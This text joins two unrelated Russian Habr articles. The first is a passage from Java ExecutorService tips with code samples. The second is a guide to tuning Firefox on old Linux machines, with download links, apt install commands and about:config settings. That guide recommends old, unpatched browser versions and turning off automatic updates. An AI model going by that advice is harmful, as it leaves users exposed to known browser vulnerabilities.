запуск новой задачи может потребовать рождения нового потока, что тоже займет какое-то время. Чтобы четко измерять этот показатель, оберните оригинальный *ExecutorService* во что-то похожее: ``` public class WaitTimeMonitoringExecutorService implements ExecutorService { private final ExecutorService target; public WaitTimeMonitoringExecutorService(ExecutorService target) { this.target = target; } @Override public Future submit(Callable task) { final long startTime = System.currentTimeMillis(); return target.submit(() -> { final long queueDuration = System.currentTimeMillis() - startTime; log.debug("Задание {} провело в очереди {} мс", task, queueDuration); return task.call(); } ); } @Override public Future submit(Runnable task, T result) { return submit(() -> { task.run(); return result; }); } @Override public Future submit(Runnable task) { return submit(new Callable() { @Override public Void call() throws Exception { task.run(); return null; } }); } //... } ``` Это не полная реализация, но суть понятна. В момент, когда мы поставили задание в пул потоков, мы незамедлительно засекли время. Затем остановили секундомер, как только задача была извлечена и отправлена на выполнение. Не обманывайтесь близостью *startTime* и *queueDuration* в исходном коде. На самом деле эти две строки исполняются в разных потоках, в миллисекундах или даже в секундах друг от друга. #### **8. Сохраняйте трассировку стека клиента** Реактивному программированию в наши дни уделяется повышенное внимание: [Reactive manifesto](http://www.reactivemanifesto.org/), [reactive streams](http://www.reactive-streams.org/), [RxJava](https://github.com/ReactiveX/RxJava) (уже 1.0!), [Clojure agents](http://clojure.org/agents), [scala.rx](https://github.com/lihaoyi/scala.rx)… Все это выглядит здорово, но стектрейс – больше не ваш друг, он по большому счету бесполезен. Рассмотрим, к примеру, следующее исключение, возникающее во время выполнения задания в пуле потоков: ``` java.lang.NullPointerException: null at com.nurkiewicz.MyTask.call(Main.java:76) ~[classes/:na] at com.nurkiewicz.MyTask.call(Main.java:72) ~[classes/:na] at java.util.concurrent.FutureTask.run(FutureTask.java:266) ~[na:1.8.0] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) ~[na:1.8.0] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) ~[na:1.8.0] at java.lang.Thread.run(Thread.java:744) ~[na:1.8.0] ``` Мы можем легко заметить, что *MyTask* выбросило NPE в строке 76. Но мы не имеем никакого представления, кто утвердил эту задачу, поскольку стек относится только к *Thread* и *ThreadPoolExecutor*. Технически, мы можем просто перемещаться по коду в надежде найти только один участок, где выполняется постановка *MyTask* в очередь. Но без отдельных потоков (не говоря уже о событийно-ориентированном, реактивном и т.п. программировании), мы всегда видим сразу всю картину целиком. Что если мы могли бы сохранить стектрейс клиентского кода (того, что инициирует задание) и показать его, допустим, при возникновении ошибки? Идея не нова, например, [Hazelcast](http://hazelcast.com/) распространяет исключения из узла-владельца в клиентский код. Ниже приведен незамысловатый пример как сделать подобное: ``` public class ExecutorServiceWithClientTrace implements ExecutorService { protected final ExecutorService target; public ExecutorServiceWithClientTrace(ExecutorService target) { this.target = target; } @Override public Future submit(Callable task) { return target.submit(wrap(task, clientTrace(), Thread.currentThread().getName())); } private Callable wrap(final Callable task, final Exception clientStack, String clientThreadName) { return () -> { try { return task.call(); } catch (Exception e) { log.error("Исключение {} в задании из потока {}:", e, clientThreadName, clientStack); throw e; } }; } private Exception clientTrace() { return new Exception("Клиентский стектрейс"); } @Override public List> invokeAll(Collection extends Callable<T> tasks) throws InterruptedException { return tasks.stream().map(this::submit).collect(toList()); } //... } ``` В этот раз в случае неудачи, мы извлекаем полный стектрейс и название потока, где задание было поставлено в очередь. Гораздо более ценная информация по сравнению со стандартным исключением, рассмотренным ранее: Исключение java.lang.NullPointerException в задании из потока main: ``` java.lang.Exception: Клиентский стектрейс at com.nurkiewicz.ExecutorServiceWithClientTrace.clientTrace(ExecutorServiceWithClientTrace.java:43) ~[classes/:na] at com.nurkiewicz.ExecutorServiceWithClientTrace.submit(ExecutorServiceWithClientTrace.java:28) ~[classes/:na] at com.nurkiewicz.Main.main(Main.java:31) ~[classes/:na] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0] at java.lang.reflect.Method.invoke(Method.java:483) ~[na:1.8.0] at com.intellij.rt.execution.application.AppMain.main(AppMain.java:134) ~[idea_rt.jar:na] ``` #### **9. Предпочитайте CompletableFuture** В Java 8 был представлен более мощный класс [CompletableFuture](http://www.nurkiewicz.com/2013/05/java-8-definitive-guide-to.html). Пожалуйста, используйте его там, где это возможно. *ExecutorService* не был расширен, чтобы поддерживать эту абстракцию, так что вы должны заботиться об этом самостоятельно. Вместо: ``` final Future future = executorService.submit(this::calculate); ``` Используйте: ``` final CompletableFuture future = CompletableFuture.supplyAsync(this::calculate, executorService); ``` *CompletableFuture* расширяет *Future*, так что все работает как раньше. Но более продвинутые пользователи вашего API по-настоящему оценят расширенную функциональность, предоставляемую с помощью CompletableFuture. #### **10. Синхронные очереди** [SynchronousQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/SynchronousQueue.html) – интересная разновидность *BlockingQueue*, которая на самом деле не совсем очередь. Это даже не структура данных как таковая. Лучше всего ее можно определить как очередь с нулевой емкостью. Вот что говорит *JavaDoc*: > Каждая добавляемая операция должна ожидать соответствующей операции удаления в другом потоке, и наоборот. Синхронная очередь не имеет никакой внутренней емкости, даже единичной. Вы не можете заглянуть в синхронную очередь, потому что элемент представлен только при попытке его удаления; вы не можете вставить элемент (используя любой метод), пока другой поток не удалит его: вы не можете обойти очередь потому что обходить нечего. > > Синхронные очереди похожи на «rendezvous channels», используемые в CSP и Ada. Как все это относится к пулам потоков? Попробуем использовать *SynchronousQueue* вместе с *ThreadPoolExecutor*: ``` BlockingQueue queue = new SynchronousQueue<>(); ExecutorService executorService = new ThreadPoolExecutor(2, 2, 0L, TimeUnit.MILLISECONDS, queue); ``` Мы создали пул потоков с двумя потоками и *SynchronousQueue* перед этим. По сути *SynchronousQueue* — очереди с емкостью 0, поэтому такие *ExecutorService* будут только принимать новые задачи, если доступен простаивающий поток. Если все потоки заняты, новая задача будет немедленно отклонена и никогда не будет ждать очереди. Такой режим может быть полезен для незамедлительной обработки в фоновом режиме, если это возможно. Вот и все, надеюсь, вы открыли для себя как минимум одну интересную фичу!
https://habr.com/ru/post/260953/
null
ru
null
# Настройка Firefox в Linux Решил написать о настройке Firefox для Linux. В интернете похожие статьи тоже есть, но в основном они по старым версиям браузера. Радикальных отличий в настройке Firefox для Linux или для Windows нет, однако есть свои особенности. Сразу скажу, что на старых ПК после настройки браузера каких-то чудес в производительности вы не получите. Скорее это поможет вашей «музыкальной шкатулке» что-то ещё сыграть для души, если вы её правильно заведёте, а не лежать ей где-то в тёмном углу в качестве мёртвого сувенира. Почти все настройки Firefox я взял из своей статьи [Старый компьютер, Windows 7, 1 Гб оперативки, DirectX 9 видеокарта, Firefox и интернет](https://habr.com/ru/post/424019/). Но делать отсылки к настройкам различных дистрибутивов ОС здесь я не буду из-за их разнообразия и моих весьма скромных познаний. Только Firefox. **Скачать последние версии браузера Firefox для систем основанных на Debian можете по этим ссылкам** Обратите внимание! Привязка этих установщиков браузера к определённым версиям Debian является весьма условной, хоть они так подписаны разработчиками с явным указанием версии ОС. Главное же, что бы во время установки браузера были соблюдены все зависимости и браузер установился. То есть, например, для некой ОС версии 1.**0** основанной на первых выпусках Debian 10 может подойти Firefox для Debian 9, однако для этой же ОС основанной на Debian 10 но версии 1.**1** Firefox для Debian 9 и даже старые версии Firefox для Debian 10 могут не установиться из-за обновлённой пакетной базы ОС 52.8.1esr — [32](https://snapshot.debian.org/archive/debian/20210905T084058Z/pool/main/f/firefox-esr/firefox-esr_52.8.1esr-1%7Edeb8u1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20210905T084058Z/pool/main/f/firefox-esr/firefox-esr_52.8.1esr-1%7Edeb8u1_amd64.deb) бит (для систем основанных на Debian 8) [Языковой пакет](https://snapshot.debian.org/archive/debian/20210905T084058Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_52.8.1esr-1%7Edeb8u1_all.deb) для русификации 52.8.1 68.9esr — [32](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr_68.9.0esr-1~deb8u2_i386.deb) или [64](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr_68.9.0esr-1~deb8u2_amd64.deb) бит (для систем основанных на Debian 8) [Языковой пакет](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr-l10n-ru_68.9.0esr-1~deb8u2_all.deb) для русификации 68.9 68.10esr — [32](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr_68.10.0esr-1~deb9u1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr_68.10.0esr-1%7Edeb9u1_amd64.deb) бит (для систем основанных на Debian 9) [Языковой пакет](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_68.10.0esr-1%7Edeb9u1_all.deb) для русификации 68.10 68.12esr — [32](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr_68.12.0esr-1%7Edeb10u1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr_68.12.0esr-1%7Edeb10u1_amd64.deb) бит (для систем основанных на Debian 10) 68.12esr — [.snap пакет](https://ftp.mozilla.org/pub/firefox/releases/68.12.0esr/snap/firefox-68.12.0esr.snap) от Mozilla [Языковой пакет](https://snapshot.debian.org/archive/debian/20201015T150652Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_68.12.0esr-1%7Edeb10u1_all.deb) для русификации 68.12 78.14esr — [64](https://snapshot.debian.org/archive/debian/20210910T150956Z/pool/main/f/firefox-esr/firefox-esr_78.14.0esr-1%7Edeb10u1_amd64.deb) бит (для систем основанных на Debian 10) [Языковой пакет](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_78.14.0esr-1%7Edeb10u1_all.deb) для русификации 78.14 78.15esr — [32](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr_78.15.0esr-1%7Edeb10u1_i386.deb) бит (для систем основанных на Debian 10) [Языковой пакет](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_78.15.0esr-1%7Edeb10u1_all.deb) для русификации 78.15 78.15esr — [32](https://snapshot.debian.org/archive/debian/20211013T030157Z/pool/main/f/firefox-esr/firefox-esr_78.15.0esr-1%7Edeb11u1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20211013T030157Z/pool/main/f/firefox-esr/firefox-esr_78.15.0esr-1%7Edeb11u1_amd64.deb) бит (для систем основанных на Debian 11) 78.15esr — [.snap пакет](https://ftp.mozilla.org/pub/firefox/releases/78.15.0esr/snap/firefox-78.15.0esr.snap) от Mozilla [Языковой пакет](https://snapshot.debian.org/archive/debian/20211013T030157Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_78.15.0esr-1%7Edeb11u1_all.deb) для русификации 78.15 84.0.2 — [32](https://snapshot.debian.org/archive/debian/20210201T024125Z/pool/main/f/firefox/firefox_84.0.2-1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20210201T024125Z/pool/main/f/firefox/firefox_84.0.2-1_amd64.deb) бит (для систем основанных на Debian 10) 84.0.2 — [.snap пакет](https://ftp.mozilla.org/pub/firefox/releases/84.0.2/snap/firefox-84.0.2.snap) от Mozilla [Языковой пакет](https://snapshot.debian.org/archive/debian/20210201T024125Z/pool/main/f/firefox/firefox-l10n-ru_84.0.2-1_all.deb) для русификации 84.0.2 91.11esr — [32](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr_91.11.0esr-1~deb9u1_i386.deb) или [64](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr_91.11.0esr-1~deb9u1_amd64.deb) бит (для систем основанных на Debian 9 и Debian 10) [Языковой пакет](http://security.debian.org/debian-security/pool/updates/main/f/firefox-esr/firefox-esr-l10n-ru_91.11.0esr-1~deb9u1_all.deb) для русификации 91.11 91.12esr — [64](https://snapshot.debian.org/archive/debian/20221126T030115Z/pool/main/f/firefox-esr/firefox-esr_91.12.0esr-1~deb10u1_amd64.deb) бит (для систем основанных на Debian 10) [Языковой пакет](https://snapshot.debian.org/archive/debian/20221126T030115Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_91.12.0esr-1~deb10u1_all.deb) для русификации 91.12 91.13esr — [32](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr_91.13.0esr-1%7Edeb11u1_i386.deb) или [64](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr_91.13.0esr-1%7Edeb11u1_amd64.deb) бит (для систем основанных на Debian 11) 91.13esr — [.snap пакет](https://ftp.mozilla.org/pub/firefox/releases/91.13.0esr/snap/firefox-91.13.0esr.snap) от Mozilla [Языковой пакет](https://snapshot.debian.org/archive/debian/20220901T090155Z/pool/main/f/firefox-esr/firefox-esr-l10n-ru_91.13.0esr-1%7Edeb11u1_all.deb) для русификации 91.13 115esr скорее всего будет последней esr версией Firefox для 32 битных систем. Debian 13 и куча дистрибутивов основанных на нём вероятно откажутся от выпуска 32 битных версий своих ОС. На ядре Linux собрана и операционная система Android. Для Android 4.1 — 4.4.4 последним вышедшим браузером был Firefox [68.11](https://ftp.mozilla.org/pub/mobile/releases/68.11.0/android-api-16/multi/fennec-68.11.0.multi.android-arm.apk). Его можно настроить по этой же статье. Новые релизные версии Firefox для Android не позволяют зайти на страницу настроек *about:config*, но в [бета версиях](https://ftp.mozilla.org/pub/fenix/releases/) браузера эту возможность оставили. Если будете ставить бету (она кстати [есть](https://play.google.com/store/apps/details?id=org.mozilla.firefox_beta&hl=ru&gl=US) и в Google Play) старайтесь использовать версии ближе к релизу, например *beta 5* или *beta 6*, так как вероятность наличия ошибок в них будет меньше. Существует так же форк браузера Firefox для Android под названием [Iceraven](https://4pda.to/forum/index.php?showtopic=1003419) (ранее назывался Iceweasel), в нём вернули возможность изменять настройки *about:config* и устанавливать любые дополнения с addons.mozilla.org #### О компьютерах с процессором без поддержки SSE2 инструкций и старой графикой 5.16 последняя версия ядра Linux которая может работать с процессорами AMD поддерживающих только 3DNow! инструкции [\*](https://habr.com/ru/news/t/595425/). 20.3.5 и 21.1.8 — последние версии драйверов графики Mesa, которым не нужен SSE2 [\*](https://linuxreviews.org/Mesa_Considers_Dropping_Default_Support_For_16%2B_Year_Old_x86_CPUs). Начиная с версии 22.0 из драйвера MESA [удалена](https://www.opennet.ru/opennews/art.shtml?num=56281) поддержка многих старых видеокарт [\*](https://www.opennet.ru/opennews/art.shtml?num=56833). Последней официально поддерживаемой версией браузера для Linux была 52.9esr. А не официально — Firefox 102esr запускается как минимум с процессорами AMD на 462 сокете. Но не все Firefox на таких ПК смогут запуститься. У меня получилось с офицальными esr версиями Firefox для систем основанных на Debian. Пусть и не все функции в браузере работают, например страницы с WebGL падают, в целом же, пользоваться можно. Что бы была возможность привести Firefox 91esr или 102esr в работоспособный вид, зайдите в меню настроек ![image](https://habrastorage.org/r/w780q1/webt/cj/yw/rl/cjywrlidqdbis316qdiltatguuy.jpeg) и там нажмите по «New Private Window», затем в адресной строке наберите *about:config* и в списке настроек найдите параметр ***widget.non-native-theme.enabled*** измените его значение на **false** и перезапустите браузер. Существуют и другие пользовательские сборки браузеров для SSE процессоров, [например](https://github.com/amurzeau/debian-autobuild/releases) на основе Firefox 91 и 102, или [сборки](https://www.antixforum.com/forums/topic/browsers-for-old-cpus/page/3/#post-69386) на основе браузера PaleMoon. #### Аппаратное ускорение видеокартой Даёт хорошую прибавку производительности, особенно на слабых компьютерах. Вроде, когда-то давно разработчики Firefox собирались включить аппаратное ускорение по умолчанию в новых версиях браузера. Но похоже, что так и не включили. Разные версии ядра Linux, X.org, драйверы… — где-то будет нормально работать, а где-то нет. Только самостоятельно проверять. Если ваша видеокарта поддерживает OpenGL 2.0 и вы принудительно включите аппаратное ускорение в браузере, но оно не заработает — это **не** значит, что и в других дистрибутивах Linux не будет работать. Firefox 91.13esr — последняя версия браузера где возможно включить «Basic» или «OpenGL» ускорение. Следующие версии браузера имеют новую версию ускорения «Webrender» для которого необходим OpenGL 3.0 или новее. Однако многие видеокарты которые поддерживают OpenGL 3.0 — 3.3 внесены в чёрный список браузера и аппаратный Webrender с ними включить не получится, для этих и других старых видеокарт включится обрабатываемый процессором очень медленный «WebrenderSoftware». С каждой новой версией Firefox к видеокартам предъявляются более строгие условия для включения аппаратного ускорения. Устанавливая последние версии Firefox вы можете очень сильно потерять в производительности если аппаратная часть вашего компьютера (видеокарта, процессор или размер оперативной памяти) не будет соответствовать «аппетиту» браузера. Посмотреть возможности видеокарты можно из таблиц в википедии: [Intel](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%BE%D0%B2_Intel), [AMD](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%BE%D0%B2_AMD), [Nvidia](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%BE%D0%B2_Nvidia). В некоторых дистрибутивах Linux для встроенной графики Intel GMA 900 — 3150 заблокировано включение OpenGL 2.0. Но его можно [разблокировать](https://www.cnx-software.com/2011/11/13/enable-opengl-2-0-and-webgl-for-intel-gma3150-in-ubuntu/) установив программу **driconf** (например для Debian [9 и 10](http://ftp.ru.debian.org/debian/pool/main/d/driconf/driconf_0.9.1-4_all.deb)). В программе необходимо включить “*Enable limited ARB\_fragment\_shader support on 915/945*” и *“Enable stub ARB\_occlusion\_query support on 915/945”*. В Debian 11 [убрали](https://wiki.debian.org/Python/FAQ#Python_2_support) некоторые пакеты от которых зависит *driconf*, их необходимо будет установить **Пример установки для Antix 22** Скачайте файлы deb пакетов в каталог *Загрузки*, Браузер Seamonkey который стоит там по умолчанию будет загружать их в эту папку. [ftp.ru.debian.org/debian/pool/main/p/python2.7/libpython2.7-minimal\_2.7.18-8\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python2.7/libpython2.7-minimal_2.7.18-8_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python2.7/python2.7-minimal\_2.7.18-8\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python2.7/python2.7-minimal_2.7.18-8_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python-defaults/python2-minimal\_2.7.18-3\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python-defaults/python2-minimal_2.7.18-3_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python2.7/libpython2.7-stdlib\_2.7.18-8\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python2.7/libpython2.7-stdlib_2.7.18-8_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python-defaults/libpython2-stdlib\_2.7.18-3\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python-defaults/libpython2-stdlib_2.7.18-3_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python2.7/python2.7\_2.7.18-8\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python2.7/python2.7_2.7.18-8_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python-defaults/python2\_2.7.18-3\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python-defaults/python2_2.7.18-3_i386.deb) [ftp.ru.debian.org/debian/pool/main/w/what-is-python/python-is-python2\_2.7.18-9\_all.deb](http://ftp.ru.debian.org/debian/pool/main/w/what-is-python/python-is-python2_2.7.18-9_all.deb) [ftp.ru.debian.org/debian/pool/main/p/pycairo/python-cairo\_1.16.2-1+b1\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/pycairo/python-cairo_1.16.2-1+b1_i386.deb) [ftp.ru.debian.org/debian/pool/main/libf/libffi/libffi6\_3.2.1-9\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/libf/libffi/libffi6_3.2.1-9_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/pygobject-2/python-gobject-2\_2.28.6-13+b1\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/pygobject-2/python-gobject-2_2.28.6-13+b1_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/python-setuptools/python-pkg-resources\_40.8.0-1\_all.deb](http://ftp.ru.debian.org/debian/pool/main/p/python-setuptools/python-pkg-resources_40.8.0-1_all.deb) [ftp.ru.debian.org/debian/pool/main/p/python-numpy/python-numpy\_1.16.2-1\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/python-numpy/python-numpy_1.16.2-1_i386.deb) [ftp.ru.debian.org/debian/pool/main/p/pygtk/python-gtk2\_2.24.0-5.1+b1\_i386.deb](http://ftp.ru.debian.org/debian/pool/main/p/pygtk/python-gtk2_2.24.0-5.1+b1_i386.deb) [ftp.ru.debian.org/debian/pool/main/d/driconf/driconf\_0.9.1-4\_all.deb](http://ftp.ru.debian.org/debian/pool/main/d/driconf/driconf_0.9.1-4_all.deb) Вызовите консоль и вставьте туда код ниже, слово **demo** в пути ко всем файлам замените на своё `sudo apt install /home/demo/Загрузки/libpython2.7-minimal_2.7.18-8_i386.deb sudo apt install /home/demo/Загрузки/python2.7-minimal_2.7.18-8_i386.deb sudo apt install /home/demo/Загрузки/python2-minimal_2.7.18-3_i386.deb sudo apt install /home/demo/Загрузки/libpython2.7-stdlib_2.7.18-8_i386.deb sudo apt install /home/demo/Загрузки/libpython2-stdlib_2.7.18-3_i386.deb sudo apt install /home/demo/Загрузки/python2.7_2.7.18-8_i386.deb sudo apt install /home/demo/Загрузки/python2_2.7.18-3_i386.deb sudo apt install /home/demo/Загрузки/python-is-python2_2.7.18-9_all.deb sudo apt install /home/demo/Загрузки/python-cairo_1.16.2-1+b1_i386.deb sudo apt install /home/demo/Загрузки/libffi6_3.2.1-9_i386.deb sudo apt install /home/demo/Загрузки/python-gobject-2_2.28.6-13+b1_i386.deb sudo apt install /home/demo/Загрузки/python-pkg-resources_40.8.0-1_all.deb sudo apt install /home/demo/Загрузки/python-numpy_1.16.2-1_i386.deb sudo apt install /home/demo/Загрузки/python-gtk2_2.24.0-5.1+b1_i386.deb sudo apt install /home/demo/Загрузки/driconf_0.9.1-4_all.deb driconf` По середине установки пакетов попросит нажать **Д/н**, нужно будет нажать **Д**. После установки запустится программа «driconf», в которой нажмёте ОК и перейдёте во вкладку *Debugging*, в которой переключите “Enable stub ARB\_occlusion\_query support on 915/945” на **ДА** ### Скрытые настройки Firefox из about:config **68.12esr, 78.15esr, 84.0.2, 91esr и 102esr** ***accessibility.force\_disabled*** Функция запрещает службам поддержки доступности доступ к вашему браузеру. [Поддержка доступности](https://support.mozilla.org/ru/kb/sluzhby-specialnyh-vozmozhnostej) — может предоставлять отдельным установленным в Firefox дополнениям некоторые инструменты самого браузера. Установите **1** если у вас на панели вкладок никогда не отображался этот значок ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/579/a03/e5f/579a03e5f2fbb1ace0e194d5eb04693b.png) ***app.normandy.enabled*** [\*](https://wiki.mozilla.org/Firefox/Shield/Heartbeat) Неожиданные опросы и сбор данных о ваших предпочтениях для Mozilla. Отключайте **false** ***app.shield.optoutstudies.enabled services.sync.prefs.sync.app.shield.optoutstudies.enabled*** [\*](https://wiki.mozilla.org/Firefox/Shield/Shield_Studies) [\*](https://winaero.com/blog/disable-shield-studies-firefox/) Разработчики Firefox могут время от времени без вашего ведома устанавливать в браузер различные дополнения и проводить исследования. Что бы в ваш браузер самопроизвольно не устанавливались непонятно какие дополнения отключите эту опцию **false** ***app.update.auto app.update.staging.enabled app.update.langpack.enabled*** Функции связаны с обновлением браузера. Если вы не хотите обновлять ваш браузер, переключите эти опции в **false** ***app.update.checkInstallTime*** Отвечает за подсчет дней после обновления. Отключить **false** ***app.update.doorhanger*** Для Firefox 68 Если изменить значение этой опции на **false**, не будут выскакивать частые уведомления предлагающие обновить браузер. ![image](https://habrastorage.org/r/w1560/webt/a7/li/x0/a7lix04ycuy_k826yfd-bkagw1o.png) ***apz.allow\_double\_tap\_zooming*** Функция для устройств с сенсорным экраном. Нет сенсорного экрана — отключайте **false** ***apz.android.chrome\_fling\_physics.enabled*** Не работает в ПК версиях Linux. Отключите **false** ***apz.allow\_zooming*** [\*](http://www.ghacks.net/2020/10/25/firefox-83-gets-vastly-improved-pinch-to-zoom-functionality) (не трогайте эту опцию в Firefox 68) ***apz.drag.touch.enabled*** [\*](https://searchfox.org/mozilla-central/source/gfx/layers/apz/src/AsyncPanZoomController.cpp#236) ***apz.one\_touch\_pinch.enabled*** [\*](https://searchfox.org/mozilla-central/source/gfx/layers/apz/src/AsyncPanZoomController.cpp#358) Отключите **false**, если в вашем компьютере нет устройств с сенсорным вводом (тачпад или тачскрин). ***apz.peek\_messages.enabled apz.prefer\_jank\_minimal\_displayport*** [\*](https://bugzilla-dev.allizom.org/show_bug.cgi?format=default&id=1257491) Функция нужна если вывод изображения с компьютера на монитор или телевизор осуществляется через [DisplayPort](https://ru.wikipedia.org/wiki/DisplayPort). Если в вашем компьютере нет или не используется DisplayPort, отключите эту опцию **false** ***apz.windows.use\_direct\_manipulation apz.windows.force\_disable\_direct\_manipulation*** [\*](https://learn.microsoft.com/ru-ru/previous-versions/windows/desktop/directmanipulation/direct-manipulation-portal) Для Firefox 84+ Функция для Windows, не работает в Linux. Переключите первую опцию в **false**, а вторую в **true** ***browser.aboutConfig.showWarning general.warnOnAboutConfig*** При входе на страницу *about:config* может выводиться предупреждение, что бы вы изменяли настройки с осторожностью. Что бы эта страница не показывалась, а сразу открывались настройки, переключите эти опции в **false** ***browser.aboutwelcome.enabled browser.aboutwelcome.protonDesign*** Для Firefox 78, 84 и 91 Например после обновления, браузер в отдельной вкладке с адресом *about:welcom* может показать страницу приветствия «Добро пожаловать в Firefox». Если отключить эту функцию **false**, в *about:welcom* откроется просто новая вкладка. ***browser.cache.offline.storage.enable*** [\*](https://support.mozilla.org/ru/kb/appcache-otobrazhaetsya-kak-nekeshirovannyj-ili-ot) Для Firefox 78 AppCache был отключен, начиная с Firefox 81. AppCache, обычно использовавшийся для автономного кэширования, больше не поддерживается многими веб-браузерами, поскольку был удалён из соответствующих веб-стандартов. Переключите эту опцию в **false** ***browser.cache.offline.enable*** [\*](https://kb.mozillazine.org/Browser.cache.offline.enable) Автономный кэш. Некоторые сайты могут сохранять на компьютере пользователя данные посещённых ранее веб-страниц, в случае пропадания интернет соединения эти данные или страницы целеком в течение некоторого времени могут загружаться с жёсткого диска, а не интернета. Если вам нужна только актуальная информация в интернете, или интернет соединение достаточно надёжное, можете отключить эту функцию переключив её в **false** ***browser.cache.disk.enable*** Параметр, отвечающий за использование дискового кэша. При отключении **false** все временные файлы и элементы страниц загруженные из интернета будут записываться и храниться в оперативной памяти, а не на жёстком диске. Доступ к оперативной памяти происходит быстрее, соответственно и отображение веб-страниц также может происходить быстрее. Если у вас медленный жёсткий диск, быстрый безлимитный интернет и оперативной памяти более 1.5 — 2 гигабайт, можете попробовать отключить данный параметр. Однако после этого обязательно проследите за процессом заполнения памяти во время использования браузера и других запущенных программ на компьютере. Даже в самых сложных ситуациях (большое количество одновременно открытых вкладок в браузере, просмотр видео и пр.) количество свободной памяти всегда должно оставаться несколько сотен мегабайт. Если у вас будет не так, включите обратно этот параметр **true** ***browser.cache.disk.parent\_directory*** [\*](https://support.mozilla.org/en-US/questions/1317032) (параметр создаётся как строка) Этой настройкой можно указать в какую директорию будет записываться дисковый кэш браузера. ***browser.cache.disk.smart\_size.enabled*** [\*](https://saanvi.ru/fac.php?filename=txt/soft/firefox_63_davi_na_tormoz.txt) Функция автоматического управления дисковым кэшем. В зависимости от свободного места на жёстком диске, где установлен браузер, при первом запуске задаётся объём, который будет выделен под кэш. Обычно это 660МБ (675840 килобайт), размер выделенного места можно посмотреть в настройке ***browser.cache.disk.capacity***. Если интернет очень медленный, то некоторую информацию браузеру проще и быстрее взять из сохранённого кэша, чем заново её загружать. Однако старые механические жёсткие диски могут работать медленно. Если выставить большое значение дискового кэша на таком жёстком диске, чтение и запись данных из кэша может происходить очень медленно, из-за того, что записанные маленькие кусочки файлов будут разбросаны по всему диску и механическая часть его просто не будет успевать перестраиваться для быстрого чтения. Что в конечном итоге приведёт к медленной работе браузера и быстрому износу жёсткого диска. Если у вас механический жёсткий диск, можно отключить автоматическое управление дисковым кэшем, переключив эту опцию на **false**. Установить собственное значение выделенного места под кэш можно опцией ***browser.cache.disk.capacity***, вписав, например, значение **51200** или **102400**, что будет соответствовать 50МБ или 100МБ. Чем быстрее скорость интернета, тем меньше можно выбрать размер кэша. ***browser.contentblocking.report.lockwise.enabled browser.contentblocking.report.monitor.enabled 